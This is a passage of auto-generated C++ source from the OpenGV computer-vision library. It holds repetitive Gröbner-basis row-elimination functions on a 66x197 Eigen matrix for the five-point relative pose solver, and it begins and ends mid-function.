groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(52,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(52,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(52,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow30_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,71) / groebnerMatrix(30,152);
groebnerMatrix(targetRow,71) = 0.0;
groebnerMatrix(targetRow,72) -= factor * groebnerMatrix(30,153);
groebnerMatrix(targetRow,74) -= factor * groebnerMatrix(30,155);
groebnerMatrix(targetRow,75) -= factor * groebnerMatrix(30,156);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(30,157);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(30,158);
groebnerMatrix(targetRow,78) -= factor * groebnerMatrix(30,159);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(30,160);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(30,161);
groebnerMatrix(targetRow,81) -= factor * groebnerMatrix(30,162);
groebnerMatrix(targetRow,89) -= factor * groebnerMatrix(30,170);
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(30,171);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(30,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(30,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(30,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(30,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(30,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(30,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(30,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(30,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(30,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(30,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(30,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(30,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(30,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(30,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(30,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(30,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(30,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(30,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(30,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(30,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(30,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(30,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(30,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow31_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,72) / groebnerMatrix(31,153);
groebnerMatrix(targetRow,72) = 0.0;
groebnerMatrix(targetRow,74) -= factor * groebnerMatrix(31,155);
groebnerMatrix(targetRow,75) -= factor * groebnerMatrix(31,156);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(31,157);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(31,158);
groebnerMatrix(targetRow,78) -= factor * groebnerMatrix(31,159);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(31,160);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(31,161);
groebnerMatrix(targetRow,81) -= factor * groebnerMatrix(31,162);
groebnerMatrix(targetRow,89) -= factor * groebnerMatrix(31,170);
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(31,171);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(31,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(31,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(31,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(31,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(31,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(31,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(31,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(31,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(31,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(31,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(31,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(31,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(31,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(31,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(31,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(31,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(31,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(31,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(31,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(31,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(31,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(31,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(31,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow53_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,134) / groebnerMatrix(53,134);
groebnerMatrix(targetRow,134) = 0.0;
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(53,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(53,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(53,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(53,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(53,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(53,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(53,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(53,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(53,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(53,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(53,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(53,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(53,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(53,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(53,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(53,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(53,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(53,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(53,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(53,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(53,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(53,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(53,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(53,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(53,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(53,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(53,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(53,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(53,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(53,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(53,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(53,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow39_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,38) / groebnerMatrix(39,162);
groebnerMatrix(targetRow,38) = 0.0;
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(39,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(39,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(39,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(39,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(39,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(39,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(39,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(39,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(39,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(39,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(39,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(39,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(39,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(39,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(39,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(39,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(39,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(39,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(39,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(39,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(39,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(39,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(39,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(39,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(39,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow54_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,135) / groebnerMatrix(54,135);
groebnerMatrix(targetRow,135) = 0.0;
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(54,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(54,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(54,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(54,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(54,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(54,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(54,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(54,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(54,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(54,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(54,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(54,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(54,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(54,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(54,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(54,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(54,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(54,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(54,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(54,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(54,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(54,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(54,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(54,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(54,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(54,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(54,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(54,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(54,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(54,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(54,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow38_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,37) / groebnerMatrix(38,161);
groebnerMatrix(targetRow,37) = 0.0;
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(38,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(38,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(38,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(38,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(38,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(38,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(38,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(38,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(38,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(38,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(38,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(38,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(38,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(38,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(38,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(38,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(38,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(38,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(38,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(38,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(38,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(38,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(38,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(38,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(38,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(38,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow55_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,136) / groebnerMatrix(55,136);
groebnerMatrix(targetRow,136) = 0.0;
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(55,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(55,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(55,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(55,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(55,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(55,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(55,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(55,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(55,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(55,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(55,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(55,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(55,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(55,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(55,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(55,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(55,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(55,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(55,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(55,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(55,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(55,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(55,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(55,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(55,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(55,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(55,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(55,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(55,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(55,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow37_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,36) / groebnerMatrix(37,160);
groebnerMatrix(targetRow,36) = 0.0;
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(37,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(37,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(37,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(37,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(37,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(37,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(37,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(37,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(37,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(37,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(37,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(37,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(37,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(37,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(37,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(37,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(37,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(37,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(37,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(37,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(37,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(37,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(37,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(37,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(37,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(37,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(37,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow56_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,137) / groebnerMatrix(56,137);
groebnerMatrix(targetRow,137) = 0.0;
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(56,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(56,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(56,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(56,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(56,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(56,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(56,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(56,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(56,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(56,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(56,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(56,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(56,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(56,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(56,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(56,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(56,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(56,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(56,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(56,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(56,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(56,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(56,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(56,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(56,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(56,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(56,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(56,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(56,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow36_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,35) / groebnerMatrix(36,159);
groebnerMatrix(targetRow,35) = 0.0;
groebnerMatrix(targetRow,36) -= factor * groebnerMatrix(36,160);
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(36,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(36,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(36,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(36,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(36,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(36,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(36,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(36,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(36,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(36,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(36,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(36,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(36,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(36,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(36,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(36,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(36,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(36,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(36,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(36,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(36,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(36,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(36,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(36,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(36,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(36,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(36,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow57_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,138) / groebnerMatrix(57,138);
groebnerMatrix(targetRow,138) = 0.0;
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(57,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(57,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(57,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(57,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(57,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(57,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(57,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(57,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(57,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(57,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(57,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(57,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(57,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(57,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(57,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(57,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(57,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(57,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(57,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(57,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(57,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(57,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(57,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(57,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(57,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(57,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(57,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(57,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow35_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,34) / groebnerMatrix(35,158);
groebnerMatrix(targetRow,34) = 0.0;
groebnerMatrix(targetRow,35) -= factor * groebnerMatrix(35,159);
groebnerMatrix(targetRow,36) -= factor * groebnerMatrix(35,160);
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(35,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(35,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(35,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(35,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(35,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(35,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(35,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(35,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(35,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(35,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(35,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(35,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(35,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(35,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(35,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(35,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(35,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(35,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(35,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(35,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(35,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(35,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(35,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(35,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(35,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(35,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(35,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow58_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,139) / groebnerMatrix(58,139);
groebnerMatrix(targetRow,139) = 0.0;
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(58,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(58,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(58,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(58,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(58,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(58,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(58,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(58,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(58,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(58,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(58,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(58,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(58,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(58,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(58,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(58,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(58,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(58,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(58,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(58,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(58,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(58,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(58,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(58,193);
